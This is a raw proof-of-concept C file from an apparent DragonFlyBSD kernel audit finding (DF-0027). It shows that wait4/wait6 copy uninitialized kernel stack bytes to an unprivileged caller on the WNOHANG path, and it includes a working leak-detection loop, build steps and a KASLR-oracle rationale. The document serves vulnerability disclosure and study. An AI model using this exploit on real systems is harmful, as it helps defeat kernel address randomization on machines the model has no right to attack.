DragonFlyBSD Kernel Audit
DF-0027 / wait_leak.c
← back to finding ↓ download raw
/*
 * DF-0027 PoC - wait4/wait6 leak uninitialized kernel stack via status,
 *              rusage/wrusage and siginfo on the WNOHANG-no-match return.
 *
 * sys_wait4 (sys/kern/kern_exit.c:913-948) declares uninitialized stack locals
 * `int status;` (918) and `struct __wrusage wrusage;` (916), calls
 * kern_wait(&status,...,&wrusage,...), then copyouts them whenever error==0
 * (942/945). sys_wait6 does the same and also copies out a siginfo_t.
 *
 * kern_wait returns error==0 on the WNOHANG-no-match path (1427-1431:
 * *res=0; error=0; goto done) WITHOUT writing *status/*wrusage/*info, and on
 * the WCONTINUED path leaves *wrusage untouched. So an unprivileged caller
 * with a running child can sample 4B (status) + ~72B (wait4 rusage) or up to
 * ~144B (wait6 wrusage) + ~128B (siginfo) of uninitialized kernel stack per
 * call -- a deterministic KASLR/stack-residue oracle.
 *
 * Build (DragonFlyBSD):  cc -o wait_leak wait_leak.c
 * Run as an UNPRIVILEGED user.
 */

#include <sys/wait.h>
#include <sys/resource.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int
main(void)
{
	pid_t c = fork();
	if (c == 0) { pause(); _exit(0); }	/* keep a non-waitable child alive */

	unsigned long leaks = 0;
	for (int i = 0; i < 50; i++) {
		int status = 0xCAFEBABE;			/* user marker */
		struct rusage ru;
		memset(&ru, 0xAA, sizeof(ru));		/* user marker */

		pid_t r = wait4(c, &status, WNOHANG, &ru);	/* returns 0, no reap */
		if (r != 0)
			continue;					/* (0 == "no child ready" -> leak) */

		/* The kernel wrote 4B of stack into `status` and ~72B into `ru`
		 * without initializing them first. */
		int s_leak = (status != 0xCAFEBABE && status != 0);
		int r_leak = 0;
		const unsigned char *p = (const unsigned char *)&ru;
		for (size_t k = 0; k < sizeof(ru); k++)
			if (p[k] != 0xAA && p[k] != 0x00) { r_leak = 1; break; }

		printf("iter %2d: status=0x%08x%s  rusage-nonzero-byte%s\n",
		    i, (unsigned)status,
		    s_leak ? " (LEAKED)" : "",
		    r_leak ? " (LEAKED)" : "");
		if (s_leak || r_leak)
			leaks++;
	}

	kill(c, SIGKILL);
	waitpid(c, NULL, 0);
	printf("\nresult: %lu/50 iterations leaked kernel-stack bytes\n", leaks);
	printf("result: %s\n", leaks ? "LEAK CONFIRMED" : "no residue this run");
	return leaks ? 0 : 2;
}